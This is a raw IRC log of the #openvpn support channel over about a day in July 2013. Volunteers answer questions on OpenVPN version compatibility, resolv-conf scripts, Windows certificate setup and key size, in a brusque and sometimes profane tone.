11:59 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
12:01 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
12:02 -!- hg_5_away [~chatzilla@91.234.245.245] has quit [Ping timeout: 276 seconds]
12:04 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
12:10 -!- novaflash [~novaflash@vpnserver1.jellemaautomatisering.nl] has quit [Changing host]
12:10 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn
12:10 -!- mode/#openvpn [+o novaflash] by ChanServ
12:23 < Nothing4You> i just found out that the server i'm trying to connect to runs version 2.2.2
12:23 < Nothing4You> my log (verb=5) shows this: http://nopaste.info/cb9aa5312e.html and my local version is 2.3.2
12:24 < EugeneKay> !configs
12:24 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
12:26 < EugeneKay> And log from the server
12:27 < Nothing4You> OS: Arch Linux x64; Client Version: 2.3.2; client config: http://ix.io/6wr ; Server Version: 2.2.1 (admin just told me it wasn't 2.2.2)
12:27 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds]
12:27 < Nothing4You> i don't have access to the server
12:27 < EugeneKay> !both
12:27 <@vpnHelper> "both" is If you do not control both ends of the link (server and client) then there is not much we can do to help you. Please talk to your network admin instead.
12:27 < Nothing4You> :(
12:27 < Nothing4You> he tells me to downgrade my openvpn
12:28 < Nothing4You> are there any known issues for connecting from 2.3 to 2.2?
12:28 < EugeneKay> No; he's an idiot.
12:28 < pekster> Most "providers" of VPNs are
12:28 < Nothing4You> i can get the server config
12:28 < Nothing4You> but no logs
12:28 < Nothing4You> there aren't vpn logs on his server at all btw
12:28 < EugeneKay> Doesn't do us much good for telling why the connection was reset
12:28 < pekster> Yes, yes there are
12:29 < Nothing4You> at least not with my ip
12:29 < pekster> I'd bet otherwise
12:29 < Nothing4You> he either deletes the logs or replaces the IPs with 127.0.0.1
12:29 < pekster> And it's completely stpuid not to keep logs (or access them) when things go wrong
12:29 < Nothing4You> in that case they can get enabled
12:29 < pekster> Not without restarting the process
12:29  * EugeneKay points back to the !both factoid
12:29 < pekster> In other words, you've been had
12:29 < pekster> Also
12:29 < pekster> !provider
12:29 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
12:30 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
12:31 < Nothing4You> so there are no known issues with connecting from 2.3 to 2.2 servers
12:31 < Nothing4You> he told me he'll set up a test server for 2.3 soon
12:31 < Nothing4You> but there is no 2.3 server yet
12:31 < pekster> Yes, yes there is
12:31 < EugeneKay> Nope, works fine for me, and hundreds of other people.
12:31 < pekster> !download
12:31 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
12:31 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
12:31 < Nothing4You> i mean he doesn't run a 2.3 server yet
12:32 < EugeneKay> 2.3 added some stuff, but nothing that should break connecting to a 2.2 server
12:32 < EugeneKay> The other way around may not work, depending upon config(in particular the ipv6 stuff)
12:32 < pekster> Any 2.x series is compatible with any other 2.x series; the only things you can't do are use newer features introduced in any specific version with earlier ones
12:32 < pekster> The "connection reset" on line 30 means you need to find out *why* the connection was rejected
12:33 < Nothing4You> k
12:33 < Nothing4You> lol he just told me that the server i'm trying to connect to even runs 2.3
12:33 < pekster> Either 1) the admin is a complete idiot for not keeping logs that show such critical issues or 2) hasn't really "removed" them, but simply doesn't keep them persistently (maybe in a ramdisk) which means they can still be accessed. If you think the use of such a servic makes you "awesomelly anonymous" you're a fool
12:33 < Nothing4You> he keeps the logs to /dev/null
12:34 < pekster> That's insanely foolish
12:34 < pekster> Now you have no idea why your connection is reset. Sucks for you.
12:34 < pekster> "the server doesn't like you. SOL."
12:34 < EugeneKay> One thing these "anonymiser" services are good for is bypassing stupid GeoIP
12:35 < pekster> I didn't say there were worthless, just that they don't make people as anonymous or protected as they think. Clever marketing combined with lack of knowledge in the masses
12:36 < Nothing4You> not that i'd need this for what i do but i know people are using the same provider for illegal shit, mostly in germany, and police can't really get anything from that
12:36 < Nothing4You> i'm sure NSA could
12:36 < Nothing4You> but i doubt they'd care enough
12:37 < pekster> Police can easily get it; they simply need someone who has a clue what they're doing with upstream access to the next-hop provider and some traffic analysis skills
12:37 < pekster> This isn't a channel to discuss the nature of timing correlation or gag-order warrants; we deal with openvpn, not paranoia and protection from government powers here
12:38 < Nothing4You> yeah i know
12:38 < pekster> My point is "no logs" is either a farse, or idiotic
12:38 < pekster> (and it's easy to turn them on if the owner is facing jail time if they don't. However important you think your privacy is to them, it's not as as important as keeping themselves out of jail)
12:41 < EugeneKay> Like I've told Tor users for years, the surest way to not get arrested for child pornography is don't fucking look at pictures of naked kids.
12:41 < Nothing4You> where do i find the update-resolv-conf file?
12:41 <@ecrist> you need to create it
12:41 < Nothing4You> i mean
12:41 < Nothing4You> where do i find the default one
12:41 <@ecrist> tunnelblick has one you can grab from their repo as a template
12:41 <@ecrist> there is no default one
12:41 < Nothing4You> oh ok
12:41 < Nothing4You> i for now just took the one from arch wiki
12:42 < pekster> There is a default pull-resolv-conf template in the source release
12:42 < Nothing4You> i just don't know it's the latest one
12:42 < Nothing4You> kk
12:42 < pekster> https://github.com/OpenVPN/openvpn/tree/master/contrib/pull-resolv-conf
12:42 <@vpnHelper> Title: openvpn/contrib/pull-resolv-conf at master · OpenVPN/openvpn · GitHub (at github.com)
12:42 < Nothing4You> thx
12:45 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 264 seconds]
12:47 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Ping timeout: 245 seconds]
12:47 -!- Guest55360 [~nutron@24.67.96.21] has quit [Read error: Connection reset by peer]
12:47 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
12:48 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
12:59 -!- vaillor [~wefefr@adsl-ull-39-64.45-151.net24.it] has joined #openvpn
13:03 -!- krzee [~k@2610:150:4002::3:1] has quit [Excess Flood]
13:04 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
13:04 -!- mode/#openvpn [+o krzee] by ChanServ
13:07 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
13:10 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
13:20 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 268 seconds]
13:25 -!- Mimiko [~Mimiko@89.28.88.177] has joined #openvpn
13:28 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
13:29 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds]
13:33 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
13:35 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
13:36 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:37 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
13:39 < vaillor> --server is a sort of script that includes ifconfig tls-server and mode server?
13:39 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
13:40 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Client Quit]
13:45 <@krzee> !man
13:45 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
13:47 < vaillor> krzee, do you know if exists a free openvpn server online? i'd like to avoid to keep my home computer server on all the time
13:47 <@krzee> !free
13:47 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 268 seconds]
13:47 <@krzee> !factoids search free
13:47 <@vpnHelper> 'freebsd', 'freebsdnat', and 'freevpn'
13:47 <@krzee> !factoids search freevpn
13:48 <@vpnHelper> "freevpn" is http://www.vpnbook.com/ has free openvpn accounts. we can not speak for anything about them, but hey its free
13:48 < vaillor> ok, it's like a shell running openvpn daemon?
13:49 <@krzee> no
13:49 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
13:49 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 264 seconds]
13:51 -!- majuscul1 is now known as majuscule
13:52 < vaillor> ok, and if i subscribe to a free shell installing openvpn server over it, do you think it's a good solution?
13:52 <@krzee> if its root do whatever you want
13:52 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
13:53 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
13:56 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
13:59 -!- mattock is now known as mattock_afk
14:03 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds]
14:04 -!- Aketzu_ [akolehma@kelvin.aketzu.net] has quit [Read error: Operation timed out]
14:07 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
14:13 -!- D3Vito [d3vito@d3vito.de] has quit [Read error: Operation timed out]
14:13 -!- Aketzu [akolehma@kelvin.aketzu.net] has joined #openvpn
14:14 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
14:17 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 276 seconds]
14:18 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
14:18 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
14:23 -!- D3Vito [d3vito@d3vito.de] has joined #openvpn
14:26 < vaillor> krzee, that server is a big openvpn, not private
14:27 <@krzee> you said free
14:27 <@krzee> free != private lol
14:27 <@krzee> free == shared and you're lucky you get that
14:28 <@krzee> you want private go get a server and run it, in which case you dont need to ask about providers
14:28 -!- brad [~brad@78.129.242.122] has quit [Remote host closed the connection]
14:30 < vaillor> ok, but that vpn routes over internet?
14:31 < vaillor> if yes, i could use it
14:31 <@krzee> what else would it possibly be for?
14:38 -!- vaillor [~wefefr@adsl-ull-39-64.45-151.net24.it] has quit [Ping timeout: 264 seconds]
14:38 -!- vaillor [~wefefr@adsl-ull-39-64.45-151.net24.it] has joined #openvpn
14:39 < vaillor> You are banned from this server- Spam is off topic on freenode.  mail kline@freenode.net if in error  (2013/6/30 05.22)
14:39 < vaillor> -
14:39 < vaillor> [21:36:16] Closing Link: 93.115.84.195 (*** Banned )
14:39 < vaillor> host of vpn is banned from freenode
14:39 < Nothing4You> try sasl auth
14:39 < Nothing4You> oh wait
14:39 < Nothing4You> kline
14:39 < Nothing4You> nevermind
14:39 < pekster> Freenode has a hidden tor node too (SASL is mandatory there though)
14:40 < pekster> https://www.freenode.net/irc_servers.shtml#tor
14:40 <@vpnHelper> Title: About freenode: IRC Servers (at www.freenode.net)
14:42 < pekster> Not really sure why you'd want to be torified on Freenode, but the option is there. I'm content to use CertFP for improved security and reasonable assurance of anyone who wishes to use that for semi-reliable assurance of who I am
14:42 < pekster> for anyone*
14:47 -!- speed_racer81 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
14:47 -!- speed_racer81 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
14:50 -!- speed_racer84 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 248 seconds]
14:54 -!- patelx [chirayu@voyager.chirayu.net] has quit [Remote host closed the connection]
14:55 -!- oO0Oo [oO0Oo@gateway/shell/elitebnc/x-znakwhltjwgjufqz] has quit [Ping timeout: 240 seconds]
15:01 < vaillor> that ip is reversed to lh20999.voxility.net, that doesn't look like a tor host
15:06 < pekster> Once again you've completely missed the point; dunno why I keep trying
15:06 -!- oO0Oo [oO0Oo@gateway/shell/elitebnc/x-olszdtfalyufpebs] has joined #openvpn
15:07 -!- brad [~brad@78.129.242.122] has joined #openvpn
15:11 < Whoopie> dazo_afk: thanks, I sent an email.
15:21 < vaillor> !auth
15:21 < vaillor> !authentication
15:27 -!- EmLeX [~emx@unaffiliated/emlex] has quit [Ping timeout: 240 seconds]
15:28 -!- EmLeX [~emx@unaffiliated/emlex] has joined #openvpn
15:29 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
15:31 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 248 seconds]
15:32 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Max SendQ exceeded]
15:34 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
15:42 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
15:45 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
15:46 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
15:50 -!- qmr_ is now known as qmr
15:55 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
15:57 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
16:02 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 256 seconds]
16:02 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds]
16:06 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
16:07 -!- Mimiko [~Mimiko@89.28.88.177] has quit []
16:09 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 268 seconds]
16:09 -!- johanbr [~johanbr@vps.nullinfinity.org] has quit [Ping timeout: 256 seconds]
16:14 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
16:14 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Read error: Connection refused]
16:17 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
16:17 -!- ade_b [~Ade@p57A57171.dip0.t-ipconnect.de] has joined #openvpn
16:17 -!- ade_b [~Ade@p57A57171.dip0.t-ipconnect.de] has quit [Changing host]
16:17 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
16:21 -!- defswork [~andy@141.0.50.105] has quit [Read error: Operation timed out]
16:22 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
16:22 -!- peper [~peper@gentoo/developer/peper] has quit [Read error: Operation timed out]
16:26 -!- peper [~peper@gentoo/developer/peper] has joined #openvpn
16:26 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
16:28 -!- defswork [~andy@141.0.50.105] has joined #openvpn
16:35 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
16:37 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Quit: Nettalk6 - www.ntalk.de]
16:37 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
16:41 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
16:43 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has joined #openvpn
17:18 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
17:20 -!- Denial [Denial@90.205.133.229] has quit []
17:22 -!- master_of_master [~master_of@p4FD7B1C1.dip0.t-ipconnect.de] has joined #openvpn
17:25 -!- master_o1_master [~master_of@p4FF24618.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds]
17:35 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
17:39 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
17:43 -!- lmm [uid6417@gateway/web/irccloud.com/x-lwaljvyxcutayarh] has quit [Remote host closed the connection]
17:43 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-txxpkgljhbchwipb] has quit [Write error: Connection reset by peer]
17:43 -!- b00gz__ [uid6869@gateway/web/irccloud.com/x-gibnlghyzextanku] has quit [Remote host closed the connection]
17:43 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-tgsclazowimasawe] has quit [Remote host closed the connection]
17:51 < EugeneKay> pekster - Are you familiar with the myth of Sisyphus?
18:03 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
18:05 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:05 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
18:06 < pekster> The line is thin between deceit and stupidity
18:09 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
18:24 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
18:28 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
18:39 < dimm0k> in windows 7 when i connect to the vpn, windows treats the connection as a public network...  any suggestions on making it a private?
18:40 < EugeneKay> I remember thereb eing a registry hack to do it, but I don't remember exactly where
18:41 < EugeneKay> I use a Domain policy to specify the subnet used by vpn as belonging to the Domain, so it automagically assigns the Domain policies
18:41 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
18:43 < dimm0k> damn windows 7!
18:43 < EugeneKay> Yup.
18:43 < EugeneKay> !cuz
18:43 < EugeneKay> Wrong bot.
18:43 < EugeneKay> "Because fuck you, that's why."
18:45 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
18:47 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Read error: Connection refused]
18:50 -!- HyperGlide [~HyperGlid@182.151.165.191] has quit [Read error: Connection reset by peer]
18:52 -!- HyperGlide [~HyperGlid@182.151.164.151] has joined #openvpn
18:53 -!- kaizoku [~kaizoku@c-83-233-216-17.cust.bredband2.com] has joined #openvpn
18:54 -!- kaizoku is now known as KaizokuJoe
18:54 < KaizokuJoe> Ho
18:54 < KaizokuJoe> Hi* even.
18:54 < KaizokuJoe> I was hoping I could get some help with a problem.
18:55 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
18:56 < KaizokuJoe> I'm trying to install configure OpenVPN after a reinstall of my box.
18:57 < EugeneKay> Did it eat your cat?
18:57 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
18:57 < KaizokuJoe> I've had a VPN working on this exact box before I reinstalled and now I just can't seem to run build-ca
18:57 < KaizokuJoe> Running windows 7 Ultimate.
18:57 < EugeneKay> You didn't back up your cert stuff?
18:57 < EugeneKay> Oh. Windows.
18:58 < KaizokuJoe> I have my certs and everything but ..
18:58 < KaizokuJoe> Wanna do a fresh configuration.
18:58 < KaizokuJoe> http://pastebin.com/kbbBmA9V
18:58 < KaizokuJoe> My output when I try to run it.
18:59 < KaizokuJoe> I have OpenSSL installed and the thing required for that.. Can't recall it
19:00 -!- HyperGlide [~HyperGlid@182.151.164.151] has quit [Read error: Connection reset by peer]
19:01 -!- HyperGlide [~HyperGlid@182.151.164.151] has joined #openvpn
19:02 < KaizokuJoe> Any idea what I'm messing up ?
19:09 < KaizokuJoe> Looks to me like I don't have something..
19:10 -!- raidz is now known as raidz_away
19:30 < KaizokuJoe> Think it has something to do with the variable %ProgramFiles%
19:30 < KaizokuJoe> As it doesn't point to the x86 Program Files where OpenVPN is located.
19:32 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
19:33 -!- emmanuelux [~emmanuelu@192.123.25.109.rev.sfr.net] has quit [Remote host closed the connection]
19:36 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 268 seconds]
19:36 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
19:52 < KaizokuJoe> Okay, redownloaded and restarted the setup and now I get openssl is not recognized etc etc..
19:52 < KaizokuJoe> Even tho I have it installed.
19:55 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
19:56 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
19:57 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
19:58 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:01 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
20:15 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
20:15 -!- mode/#openvpn [+v s7r] by ChanServ
20:24 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Ping timeout: 256 seconds]
20:40 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
20:43 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
20:46 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 268 seconds]
20:49 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
20:53 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
20:58 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
21:02 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
21:25 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds]
21:29 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:03 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
22:07 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
22:54 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
23:13 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 264 seconds]
23:16 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
23:17 -!- lbft [~lbft@unaffiliated/lbft] has quit [Read error: Operation timed out]
23:20 -!- cj [~cjac@2607:ff08:f5:3a::3] has quit [Ping timeout: 245 seconds]
23:20 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
23:25 -!- cj [~cjac@2607:ff08:f5:3a::3] has joined #openvpn
23:30 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
23:30 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has joined #openvpn
23:31 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
23:34 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
23:40 -!- lmm [uid6417@gateway/web/irccloud.com/x-dvmthrqhwhgosjlb] has joined #openvpn
23:43 -!- b00gz__ [uid6869@gateway/web/irccloud.com/x-jhkcbyaswvqafeig] has joined #openvpn
--- Day changed Sat Jul 06 2013
00:02 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
00:03 -!- nikkiheat [~nikkiheat@133.244.sfcn.org] has quit [Ping timeout: 248 seconds]
00:07 -!- piele_ [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 246 seconds]
00:08 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds]
00:12 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
00:12 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
00:21 -!- Scub_ [~ae@shellie.darchoods.net] has joined #openvpn
00:21 < Scub_> eyo, anyone happen to know the keysize limit
00:21 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Read error: Operation timed out]
00:22 < Scub_> have it setup as 4096, and im getting an excessive message size error
00:22 -!- Scub_ is now known as Scub
00:27 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
00:27 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
00:30 -!- dimm0k [~dimm0k@pool-98-116-233-190.nycmny.fios.verizon.net] has joined #openvpn
00:30 -!- dimm0k [~dimm0k@pool-98-116-233-190.nycmny.fios.verizon.net] has quit [Changing host]
00:30 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
00:41 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 256 seconds]
00:46 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds]
00:50 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
00:53 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Quit: leaving]
00:54 < EugeneKay> !log
00:54 <@vpnHelper> Error: You don't have the owner capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified.
00:54 < EugeneKay> !logs
00:54 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
00:54 < EugeneKay> Fukken bot.
00:58 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
00:58 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
01:00 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds]
01:04 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
01:31 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds]
01:35 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
01:39 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
01:45 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
01:59 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 245 seconds]
02:03 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
02:09 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 264 seconds]
02:10 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
02:11 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
02:12 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:14 -!- Gruu [~Gruu@91.240.66.29] has joined #openvpn
02:16 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds]
02:19 -!- Gruu [~Gruu@91.240.66.29] has quit [Client Quit]
02:20 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
02:25 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
02:26 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
02:28 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has quit [Remote host closed the connection]
02:49 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds]
02:53 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
02:55 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
03:00 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
03:00 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
03:07 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
03:15 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
03:16 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
03:20 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds]
03:20 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: takamichi]
03:20 -!- takamichi [~takamichi@c265.adsl.inet-telecom.org] has joined #openvpn
03:23 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
03:33 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 264 seconds]
03:33 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
03:40 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has quit [Ping timeout: 252 seconds]
03:44 -!- Whoopie [~Whoopie@unaffiliated/whoopie] has joined #openvpn
04:07 -!- takamichi [~takamichi@c265.adsl.inet-telecom.org] has quit [Ping timeout: 264 seconds]
04:07 -!- hipodilski [~hipo@pc-freak.net] has quit [Read error: Connection reset by peer]
